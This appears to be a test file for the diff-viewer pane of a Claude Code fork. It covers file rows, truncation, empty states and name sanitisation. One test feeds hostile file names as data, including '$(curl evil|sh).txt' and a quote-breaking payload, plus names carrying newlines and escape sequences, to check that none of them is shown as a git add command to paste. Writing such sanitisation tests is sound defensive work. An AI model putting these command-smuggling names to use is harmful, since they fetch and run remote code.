surshar / claude-code
Claude Code is an agentic coding tool that lives in your terminal, understands your codebase, and helps you code faster by executing routine tasks, explaining complex code, and handling git workflows - all through natural language commands.
Built by Anthropic · github.com/anthropics
| 1 | import { describe, expect, test, tier } from 'claude-code/testing' |
| 2 | |
| 3 | import type Git from '../../hooks/git' |
| 4 | import Limits from '../../hooks/limits' |
| 5 | import Names from '../../hooks/names' |
| 6 | import PaneState from '../../hooks/pane-state' |
| 7 | import Views from '../../hooks/views' |
| 8 | import Fixtures from '../fixtures' |
| 9 | |
| 10 | tier('builtin') |
| 11 | |
| 12 | describe('pane-view', () => { |
| 13 | const dataOf = ( |
| 14 | files: readonly Git.FileStat[], |
| 15 | overrides: Partial<Git.DiffData> = {}, |
| 16 | ): Git.DiffData => ({ |
| 17 | repository: Fixtures.CHECKOUT, |
| 18 | mode: 'session', |
| 19 | stats: { ...Fixtures.TOTALS, filesCount: files.length }, |
| 20 | files, |
| 21 | source: { kind: 'working-tree', base: 'HEAD' }, |
| 22 | isUnborn: false, |
| 23 | baseRef: 'HEAD', |
| 24 | stalePaths: [], |
| 25 | isUntrackedWithheld: false, |
| 26 | ...overrides, |
| 27 | }) |
| 28 | |
| 29 | const modelOf = ( |
| 30 | overrides: Partial<PaneState.PaneModel>, |
| 31 | ): PaneState.PaneModel => ({ |
| 32 | ...PaneState.INITIAL_MODEL, |
| 33 | hasSettled: true, |
| 34 | place: Fixtures.WHOLE_PLACE, |
| 35 | ...overrides, |
| 36 | }) |
| 37 | |
| 38 | const EARLIER = [Fixtures.rowOf('old.ts', { isPreSession: true })] |
| 39 | |
| 40 | test('docked: header, rows, every body, the earlier line', async ($, on) => { |
| 41 | const tree = await Fixtures.dockedPane( |
| 42 | $, |
| 43 | on, |
| 44 | modelOf({ |
| 45 | data: dataOf([ |
| 46 | Fixtures.rowOf('src/a.ts'), |
| 47 | Fixtures.rowOf('src/b.ts'), |
| 48 | Fixtures.rowOf('img.png', { isBinary: true }), |
| 49 | Fixtures.rowOf('notes.txt', { |
| 50 | added: 0, |
| 51 | removed: 0, |
| 52 | isUntracked: true, |
| 53 | }), |
| 54 | Fixtures.rowOf('test/a.test.ts'), |
| 55 | Fixtures.rowOf('old.ts', { isPreSession: true }), |
| 56 | ]), |
| 57 | bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'src/b.ts'), |
| 58 | }), |
| 59 | ) |
| 60 | |
| 61 | const text = Fixtures.jsonOf(tree) |
| 62 | |
| 63 | expect(Fixtures.isDrawn(tree), 'under the node cap').toBe(true) |
| 64 | expect(text).toContain('5 files') |
| 65 | expect(text).toContain('Binary file - cannot display diff') |
| 66 | expect(text).toContain('New file not yet staged.') |
| 67 | expect(text).toContain('1 test/generated (show)') |
| 68 | expect(text).not.toContain('test/a.test.ts') |
| 69 | expect(text).toContain('+1 file edited before this session (show)') |
| 70 | expect(text).not.toContain('❯') |
| 71 | |
| 72 | expect(Fixtures.codesIn(tree).map(code => code.path)).toEqual([ |
| 73 | 'src/a.ts', |
| 74 | 'src/b.ts', |
| 75 | ]) |
| 76 | |
| 77 | expect(text).toContain('"key":"ask:src/b.ts"') |
| 78 | |
| 79 | expect( |
| 80 | Fixtures.elementIn(tree, { type: 'Button', name: 'base' })?.props, |
| 81 | "the built-in's base chord on an empty Button", |
| 82 | ).toMatchObject({ action: 'app:cycleDiffBase', label: '' }) |
| 83 | }) |
| 84 | |
| 85 | test('untracked withheld: the rows stay, the pane says so', async ($, on) => { |
| 86 | const draw = Fixtures.docksPane($, on) |
| 87 | const words = { words: PaneState.INITIAL_MODEL.words } |
| 88 | |
| 89 | const listed = Fixtures.jsonOf( |
| 90 | await draw( |
| 91 | modelOf({ |
| 92 | data: dataOf([Fixtures.rowOf('src/a.ts')], { |
| 93 | isUntrackedWithheld: true, |
| 94 | }), |
| 95 | }), |
| 96 | ), |
| 97 | ) |
| 98 | |
| 99 | const bare = Fixtures.stringsOf( |
| 100 | await draw(modelOf({ data: dataOf([], { isUntrackedWithheld: true }) })), |
| 101 | ).join('') |
| 102 | |
| 103 | expect(listed).toContain('1 file') |
| 104 | expect(listed).toContain('"label":"src/a.ts') |
| 105 | expect(listed).toContain(Names.untrackedWithheldTextOf(words)) |
| 106 | expect(bare).toContain('No tracked changes') |
| 107 | expect(bare).not.toContain('No changes this session') |
| 108 | expect(bare).toContain(Names.untrackedWithheldTextOf(words)) |
| 109 | }) |
| 110 | |
| 111 | test('a file at the line cap draws under the tree caps', async ($, on) => { |
| 112 | const lines = Array.from({ length: Limits.MAX_LINES_PER_FILE }, (_, at) => |
| 113 | at % 2 === 0 ? `-const value${at} = ${at}` : `+const value${at} = 0`, |
| 114 | ) |
| 115 | |
| 116 | const tree = await Fixtures.dockedPane( |
| 117 | $, |
| 118 | on, |
| 119 | modelOf({ |
| 120 | data: dataOf([Fixtures.rowOf('src/long.ts')]), |
| 121 | bodies: Fixtures.bodiesOf( |
| 122 | { |
| 123 | hunks: [{ oldStart: 1, newStart: 1, lines }], |
| 124 | isTruncated: true, |
| 125 | isLarge: false, |
| 126 | }, |
| 127 | 'src/long.ts', |
| 128 | ), |
| 129 | }), |
| 130 | ) |
| 131 | |
| 132 | expect( |
| 133 | Fixtures.isDrawn(tree), |
| 134 | 'under the node, string and text caps the engine holds a tree to', |
| 135 | ).toBe(true) |
| 136 | |
| 137 | expect(Fixtures.codesIn(tree).length).toBeGreaterThan(0) |
| 138 | |
| 139 | expect(Fixtures.jsonOf(tree)).toContain( |
| 140 | '… diff truncated (exceeded 400 line limit)', |
| 141 | ) |
| 142 | }) |
| 143 | |
| 144 | test("placeholders in the built-in's words", async ($, on) => { |
| 145 | const draw = Fixtures.docksPane($, on) |
| 146 | |
| 147 | const untracked = Fixtures.jsonOf( |
| 148 | await draw( |
| 149 | modelOf({ |
| 150 | data: dataOf([Fixtures.rowOf('notes.txt', { isUntracked: true })]), |
| 151 | }), |
| 152 | ), |
| 153 | ) |
| 154 | |
| 155 | const loading = Fixtures.jsonOf( |
| 156 | await draw(modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) })), |
| 157 | ) |
| 158 | |
| 159 | expect(untracked).toContain('New file not yet staged.') |
| 160 | expect(untracked).not.toContain('"label":"ask"') |
| 161 | expect(untracked).toContain('Run `git add :/notes.txt` to see line counts.') |
| 162 | expect(untracked).not.toContain("':/") |
| 163 | expect(loading).toContain('Loading diff…') |
| 164 | |
| 165 | expect( |
| 166 | Fixtures.stringsOf(await draw(modelOf({ data: null }))).join(''), |
| 167 | ).toContain("Couldn't read the git diff — it will retry on the next change") |
| 168 | |
| 169 | expect( |
| 170 | Fixtures.jsonOf(await draw(modelOf({ isOutsideRepository: true }))), |
| 171 | ).toContain("isn't in a git repository") |
| 172 | }) |
| 173 | |
| 174 | test('a picked turn draws its files under the turn line', async ($, on) => { |
| 175 | const text = Fixtures.jsonOf( |
| 176 | await Fixtures.dockedPane( |
| 177 | $, |
| 178 | on, |
| 179 | modelOf({ |
| 180 | data: dataOf([]), |
| 181 | source: { kind: 'turn', index: 2 }, |
| 182 | turns: [Fixtures.TURN_TWO], |
| 183 | }), |
| 184 | ), |
| 185 | ) |
| 186 | |
| 187 | expect(text).toContain('Turn 2 \\"fix it\\"') |
| 188 | expect(text).toContain('/r/a.ts') |
| 189 | expect(text).toContain('T2') |
| 190 | expect(text).toContain('… diff truncated (exceeded 400 line limit)') |
| 191 | }) |
| 192 | |
| 193 | test('a long body splits into leaves under their cap', async ($, on) => { |
| 194 | const tree = await Fixtures.dockedPane( |
| 195 | $, |
| 196 | on, |
| 197 | modelOf({ |
| 198 | data: dataOf([Fixtures.rowOf('src/long-lines.ts')]), |
| 199 | bodies: Fixtures.bodiesOf(Fixtures.bigBodyOf(), 'src/long-lines.ts'), |
| 200 | }), |
| 201 | ) |
| 202 | |
| 203 | const codes = Fixtures.codesIn(tree) |
| 204 | const chars = codes.reduce((sum, code) => sum + code.source.length, 0) |
| 205 | |
| 206 | expect(codes.length).toBeGreaterThan(1) |
| 207 | expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true) |
| 208 | |
| 209 | expect( |
| 210 | codes.every(code => code.source.length <= Views.MAX_CODE_CHARS), |
| 211 | ).toBe(true) |
| 212 | |
| 213 | expect(chars).toBeLessThanOrEqual(Views.MAX_BODY_CHARS) |
| 214 | }) |
| 215 | |
| 216 | test('the window draws what is in view, a scroll the rest', async ($, on) => { |
| 217 | const draw = Fixtures.docksPane($, on) |
| 218 | |
| 219 | const model = modelOf({ |
| 220 | data: dataOf([Fixtures.rowOf('a.ts'), Fixtures.rowOf('b.ts')]), |
| 221 | bodies: new Map<string, Git.FileHunks>([ |
| 222 | ['a.ts', Fixtures.bigBodyOf()], |
| 223 | ['b.ts', Fixtures.SMALL_BODY], |
| 224 | ]), |
| 225 | place: { ...Fixtures.WHOLE_PLACE, rows: Fixtures.BODY_ROWS }, |
| 226 | }) |
| 227 | |
| 228 | const top = await draw(model) |
| 229 | const { tops } = Views.bodyLayoutOf(model, Views.dockPlanOf(model)) |
| 230 | |
| 231 | const scrolled = await draw({ |
| 232 | ...model, |
| 233 | place: { ...model.place, top: tops.get('b.ts') ?? 0 }, |
| 234 | }) |
| 235 | |
| 236 | expect(Fixtures.isDrawn(top), 'the engine took the tree').toBe(true) |
| 237 | expect(Fixtures.codesIn(top).map(code => code.path)).toEqual(['a.ts']) |
| 238 | expect(Fixtures.jsonOf(top)).toContain('"key":"file:b.ts"') |
| 239 | |
| 240 | expect( |
| 241 | Fixtures.codesIn(scrolled).map(code => code.path), |
| 242 | "a.ts's tail, then b.ts whole (the window stops at the body's end)", |
| 243 | ).toEqual(['a.ts', 'b.ts']) |
| 244 | |
| 245 | expect(Fixtures.jsonOf(scrolled), 'the list stays').toContain( |
| 246 | '"key":"file:a.ts"', |
| 247 | ) |
| 248 | }) |
| 249 | |
| 250 | test('no newline or escape in a name reaches the tree', async ($, on) => { |
| 251 | const tree = await Fixtures.dockedPane( |
| 252 | $, |
| 253 | on, |
| 254 | modelOf({ |
| 255 | data: dataOf([ |
| 256 | Fixtures.rowOf('evil\nfake.ts +9 -9'), |
| 257 | Fixtures.rowOf('esc\u001bname.ts', { renamedFrom: 'old\u001b.ts' }), |
| 258 | ]), |
| 259 | bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'evil\nfake.ts +9 -9'), |
| 260 | }), |
| 261 | ) |
| 262 | |
| 263 | const text = Fixtures.jsonOf(tree) |
| 264 | |
| 265 | expect(Fixtures.stringsOf(tree).some(each => each.includes('\u001b'))).toBe( |
| 266 | false, |
| 267 | ) |
| 268 | |
| 269 | expect(text).not.toContain('\\u001b') |
| 270 | expect(text).not.toContain('evil\\nfake') |
| 271 | expect(text).toContain('evilfake.ts +9 -9') |
| 272 | expect(text).toContain('old.ts => escname.ts') |
| 273 | }) |
| 274 | |
| 275 | test('a path past the string cap is cut in the header', async ($, on) => { |
| 276 | const longPath = `${'deep/'.repeat(Fixtures.LONG_PATH_SEGMENTS)}file.ts` |
| 277 | |
| 278 | const tree = await Fixtures.dockedPane( |
| 279 | $, |
| 280 | on, |
| 281 | modelOf({ |
| 282 | data: dataOf([ |
| 283 | Fixtures.rowOf(longPath, { renamedFrom: `${longPath}.old` }), |
| 284 | ]), |
| 285 | }), |
| 286 | ) |
| 287 | |
| 288 | expect(Fixtures.isDrawn(tree), 'every string under the cap').toBe(true) |
| 289 | expect(Fixtures.jsonOf(tree)).toContain('file.ts') |
| 290 | }) |
| 291 | |
| 292 | test('a base branch name loses its format characters', async ($, on) => { |
| 293 | const draw = Fixtures.docksPane($, on) |
| 294 | |
| 295 | const compared = Fixtures.jsonOf( |
| 296 | await draw( |
| 297 | modelOf({ |
| 298 | requestedMode: 'branch', |
| 299 | data: { ...dataOf([Fixtures.rowOf('a.ts')]), ...Fixtures.VS_SPOOFED }, |
| 300 | }), |
| 301 | ), |
| 302 | ) |
| 303 | |
| 304 | const empty = Fixtures.jsonOf( |
| 305 | await draw( |
| 306 | modelOf({ |
| 307 | requestedMode: 'branch', |
| 308 | data: { |
| 309 | ...dataOf([]), |
| 310 | ...Fixtures.VS_SPOOFED, |
| 311 | stats: Fixtures.NO_STATS, |
| 312 | }, |
| 313 | }), |
| 314 | ), |
| 315 | ) |
| 316 | |
| 317 | expect(compared).toContain('branch vs maniam') |
| 318 | expect(empty).toContain('No changes vs maniam') |
| 319 | expect(compared + empty).not.toContain('') |
| 320 | }) |
| 321 | |
| 322 | test('only a plainly safe name gets a git add to paste', async ($, on) => { |
| 323 | const draw = Fixtures.docksPane($, on) |
| 324 | |
| 325 | const untrackedOf = (path: string) => |
| 326 | draw( |
| 327 | modelOf({ |
| 328 | data: dataOf([Fixtures.rowOf(path, { isUntracked: true })]), |
| 329 | }), |
| 330 | ) |
| 331 | |
| 332 | const hintOf = async (path: string) => |
| 333 | Fixtures.stringsOf(await untrackedOf(path)).join('\n') |
| 334 | |
| 335 | const hints: string[] = [] |
| 336 | |
| 337 | for (const path of [ |
| 338 | '$(curl evil|sh).txt', |
| 339 | "it's.txt", |
| 340 | "x';payload;'", |
| 341 | 'a&b.txt', |
| 342 | ]) { |
| 343 | hints.push(await hintOf(path)) |
| 344 | } |
| 345 | |
| 346 | const reversed = await untrackedOf('invoicetxt.exe') |
| 347 | |
| 348 | expect(await hintOf('src/café-2.txt')).toContain( |
| 349 | 'Run `git add :/src/café-2.txt` to see line counts.', |
| 350 | ) |
| 351 | |
| 352 | expect( |
| 353 | hints.every( |
| 354 | hint => |
| 355 | hint.includes('Stage it with git add to see line counts.') && |
| 356 | !hint.includes('Run `git add'), |
| 357 | ), |
| 358 | ).toBe(true) |
| 359 | |
| 360 | expect(Fixtures.stringsOf(reversed).join('\n')).not.toContain( |
| 361 | 'Run `git add', |
| 362 | ) |
| 363 | |
| 364 | expect(Fixtures.jsonOf(reversed)).toContain('"label":"invoicetxt.exe') |
| 365 | expect(Fixtures.jsonOf(reversed)).not.toContain('') |
| 366 | }) |
| 367 | |
| 368 | test("docked: the built-in's blank top row, last column", async ($, on) => { |
| 369 | const tree = await Fixtures.dockedPane( |
| 370 | $, |
| 371 | on, |
| 372 | modelOf({ |
| 373 | data: dataOf([Fixtures.rowOf('src/a.ts')]), |
| 374 | bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts'), |
| 375 | }), |
| 376 | ) |
| 377 | |
| 378 | const rule = '─'.repeat( |
| 379 | Math.max(0, Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS), |
| 380 | ) |
| 381 | |
| 382 | expect(tree).toMatchObject({ |
| 383 | type: 'Box', |
| 384 | props: { |
| 385 | paddingTop: Limits.PANE_TOP_PAD_ROWS, |
| 386 | paddingRight: Limits.PANE_RIGHT_PAD_COLUMNS, |
| 387 | }, |
| 388 | }) |
| 389 | |
| 390 | expect(Fixtures.stringsOf(tree)).toContain(rule) |
| 391 | expect(Fixtures.stringsOf(tree)).not.toContain(`${rule}─`) |
| 392 | }) |
| 393 | |
| 394 | test("docked rows follow the built-in's, its hunks after", async ($, on) => { |
| 395 | expect( |
| 396 | Fixtures.rowShapesOf( |
| 397 | await Fixtures.dockedPane( |
| 398 | $, |
| 399 | on, |
| 400 | modelOf({ |
| 401 | data: dataOf([Fixtures.rowOf('src/a.ts'), Fixtures.rowOf('b.ts')]), |
| 402 | bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'b.ts'), |
| 403 | }), |
| 404 | ), |
| 405 | ), |
| 406 | ).toEqual([ |
| 407 | '', |
| 408 | 'b.ts'.padEnd( |
| 409 | Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS - '+2 -1'.length, |
| 410 | ), |
| 411 | 'rule', |
| 412 | 'ask', |
| 413 | 'rule', |
| 414 | '', |
| 415 | 'blank', |
| 416 | 'rule', |
| 417 | 'ask', |
| 418 | 'rule', |
| 419 | '', |
| 420 | 'blank', |
| 421 | ]) |
| 422 | }) |
| 423 | |
| 424 | test("an empty state on the built-in's row, foot below", async ($, on) => { |
| 425 | const [body] = Fixtures.childrenOf( |
| 426 | await Fixtures.dockedPane($, on, modelOf({ data: dataOf(EARLIER) })), |
| 427 | ) |
| 428 | |
| 429 | const [header, pad, middle, foot, ...more] = Fixtures.childrenOf(body) |
| 430 | const [spacer, headline, ...under] = Fixtures.childrenOf(middle) |
| 431 | const aboveMiddle = Limits.PANE_TOP_PAD_ROWS + 2 |
| 432 | |
| 433 | expect(body).toMatchObject({ |
| 434 | props: { height: Fixtures.BODY_ROWS - Limits.PANE_TOP_PAD_ROWS }, |
| 435 | }) |
| 436 | |
| 437 | expect(Fixtures.stringsOf(header)).toEqual([]) |
| 438 | expect(Fixtures.jsonOf(header)).not.toContain('✕') |
| 439 | |
| 440 | expect( |
| 441 | Fixtures.elementIn(header, { type: 'Button', name: 'base' }), |
| 442 | ).toBeDefined() |
| 443 | |
| 444 | expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } }) |
| 445 | expect(middle).toMatchObject({ props: { alignItems: 'center' } }) |
| 446 | |
| 447 | expect(spacer).toMatchObject({ |
| 448 | type: 'Box', |
| 449 | props: { height: Fixtures.BUILTIN_HEADLINE_ROW - aboveMiddle }, |
| 450 | }) |
| 451 | |
| 452 | expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session']) |
| 453 | expect(under).toEqual([]) |
| 454 | expect(foot).toMatchObject({ props: { marginTop: 1, paddingBottom: 1 } }) |
| 455 | |
| 456 | expect(Fixtures.jsonOf(foot)).toContain( |
| 457 | '"label":"+1 file edited before this session (show)"', |
| 458 | ) |
| 459 | |
| 460 | expect(more).toEqual([]) |
| 461 | }) |
| 462 | |
| 463 | test('shown files or too few rows stack the empty state', async ($, on) => { |
| 464 | let rows = Fixtures.BODY_ROWS |
| 465 | |
| 466 | Fixtures.drawsPane(on, kit => |
| 467 | Views.paneView( |
| 468 | { ...kit, rows }, |
| 469 | modelOf({ |
| 470 | data: dataOf(EARLIER), |
| 471 | isPreSessionShown: rows === Fixtures.BODY_ROWS, |
| 472 | }), |
| 473 | Fixtures.DOCK_SEAT, |
| 474 | ), |
| 475 | ) |
| 476 | |
| 477 | const shown = await $.ui.render(Fixtures.VIEW_PANE) |
| 478 | |
| 479 | rows = Fixtures.CRAMPED_ROWS |
| 480 | |
| 481 | const cramped = await $.ui.render(Fixtures.VIEW_PANE) |
| 482 | |
| 483 | const [header, pad, headline, blank, earlier, gap, legend, first] = |
| 484 | Fixtures.childrenOf(Fixtures.childrenOf(shown)[0]) |
| 485 | |
| 486 | expect(Fixtures.jsonOf(shown)).not.toContain('"alignItems":"center"') |
| 487 | expect(Fixtures.jsonOf(cramped)).not.toContain('"alignItems":"center"') |
| 488 | |
| 489 | expect( |
| 490 | Fixtures.elementIn(header, { type: 'Button', name: 'base' }), |
| 491 | ).toBeDefined() |
| 492 | |
| 493 | expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } }) |
| 494 | expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session']) |
| 495 | expect(blank).toMatchObject({ type: 'Box', props: { height: 1 } }) |
| 496 | |
| 497 | expect(Fixtures.jsonOf(earlier)).toContain( |
| 498 | '"label":"+1 file edited before this session (hide)"', |
| 499 | ) |
| 500 | |
| 501 | expect(gap).toMatchObject({ type: 'Box', props: { height: 1 } }) |
| 502 | expect(Fixtures.stringsOf(legend)).toContain('old.ts') |
| 503 | expect(Fixtures.rowShapeOf(first), "the first body's top rule").toBe('rule') |
| 504 | }) |
| 505 | |
| 506 | test("shown pre-session rows land on the built-in's rows", async ($, on) => { |
| 507 | expect( |
| 508 | Fixtures.rowShapesOf( |
| 509 | await Fixtures.dockedPane( |
| 510 | $, |
| 511 | on, |
| 512 | modelOf({ |
| 513 | data: dataOf([ |
| 514 | Fixtures.rowOf('config.toml', { isPreSession: true }), |
| 515 | Fixtures.rowOf('setup.cfg', { isPreSession: true }), |
| 516 | ]), |
| 517 | isPreSessionShown: true, |
| 518 | bodies: Fixtures.bodiesOf( |
| 519 | Fixtures.SMALL_BODY, |
| 520 | 'config.toml', |
| 521 | 'setup.cfg', |
| 522 | ), |
| 523 | }), |
| 524 | ), |
| 525 | ).slice(1), |
| 526 | ).toEqual([ |
| 527 | 'blank', |
| 528 | 'No changes this session', |
| 529 | 'blank', |
| 530 | '+2 files edited before this session (hide)', |
| 531 | 'blank', |
| 532 | 'config.toml+2 -1', |
| 533 | 'setup.cfg+2 -1', |
| 534 | 'rule', |
| 535 | 'ask', |
| 536 | 'rule', |
| 537 | '', |
| 538 | 'rule', |
| 539 | 'ask', |
| 540 | 'rule', |
| 541 | '', |
| 542 | ]) |
| 543 | }) |
| 544 | |
| 545 | test('inline: title, rows round the pick, then one body', async ($, on) => { |
| 546 | const files = Array.from( |
| 547 | { length: Limits.MAX_VISIBLE_FILES + 2 }, |
| 548 | (_, at) => Fixtures.rowOf(`f${at}.ts`), |
| 549 | ) |
| 550 | |
| 551 | const draw = Fixtures.docksPane($, on, { placement: 'inline' }) |
| 552 | |
| 553 | const listing = modelOf({ |
| 554 | data: dataOf(files), |
| 555 | selectedPath: 'f6.ts', |
| 556 | isFullscreen: false, |
| 557 | bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'f0.ts', 'f6.ts'), |
| 558 | }) |
| 559 | |
| 560 | const tree = await draw(listing) |
| 561 | const text = Fixtures.jsonOf(tree) |
| 562 | const detail = await draw({ ...listing, dialogView: 'detail' }) |
| 563 | |
| 564 | expect(text).toContain('Uncommitted changes') |
| 565 | expect(text).toContain('(git diff HEAD)') |
| 566 | expect(text).toContain('"label":"❯ f6.ts"') |
| 567 | expect(text).toContain('"autoFocus":true') |
| 568 | expect(text).toContain(' ↑ 2 more files') |
| 569 | expect(text).not.toContain('"label":" f0.ts"') |
| 570 | expect(Fixtures.codesIn(tree)).toEqual([]) |
| 571 | expect(Fixtures.codesIn(detail).map(code => code.path)).toEqual(['f6.ts']) |
| 572 | expect(Fixtures.jsonOf(detail)).not.toContain('"label":"❯ f6.ts"') |
| 573 | expect(Fixtures.jsonOf(detail)).toContain('Esc to back') |
| 574 | |
| 575 | expect(tree).toMatchObject({ |
| 576 | type: 'Box', |
| 577 | props: { flexDirection: 'column' }, |
| 578 | }) |
| 579 | |
| 580 | expect(text).not.toContain('"paddingTop"') |
| 581 | }) |
| 582 | |
| 583 | test('inline, too narrow: the wider-terminal line alone', async ($, on) => { |
| 584 | expect( |
| 585 | Fixtures.stringsOf( |
| 586 | await Fixtures.docksPane($, on, Fixtures.NARROW_SEAT)(modelOf({})), |
| 587 | ), |
| 588 | ).toEqual([Names.RESIZE_TERMINAL_TEXT]) |
| 589 | }) |
| 590 | |
| 591 | test('the header row carries its controls in every state', async ($, on) => { |
| 592 | const draw = Fixtures.docksPane($, on) |
| 593 | |
| 594 | const models = [ |
| 595 | modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) }), |
| 596 | modelOf({ data: dataOf([]) }), |
| 597 | modelOf({ |
| 598 | data: dataOf([]), |
| 599 | source: { kind: 'turn', index: 2 }, |
| 600 | turns: [Fixtures.TURN_TWO], |
| 601 | }), |
| 602 | ] |
| 603 | |
| 604 | for (const model of models) { |
| 605 | const tree = await draw(model) |
| 606 | const [header] = Fixtures.childrenOf(Fixtures.childrenOf(tree)[0]) |
| 607 | const isTurn = model.source.kind === 'turn' |
| 608 | |
| 609 | expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true) |
| 610 | expect(Fixtures.jsonOf(tree)).not.toContain('"label":"✕"') |
| 611 | |
| 612 | expect( |
| 613 | Fixtures.elementIn(header, { |
| 614 | type: isTurn ? 'Select' : 'Button', |
| 615 | name: isTurn ? 'source' : 'base', |
| 616 | }), |
| 617 | ).toBeDefined() |
| 618 | } |
| 619 | }) |
| 620 | }) |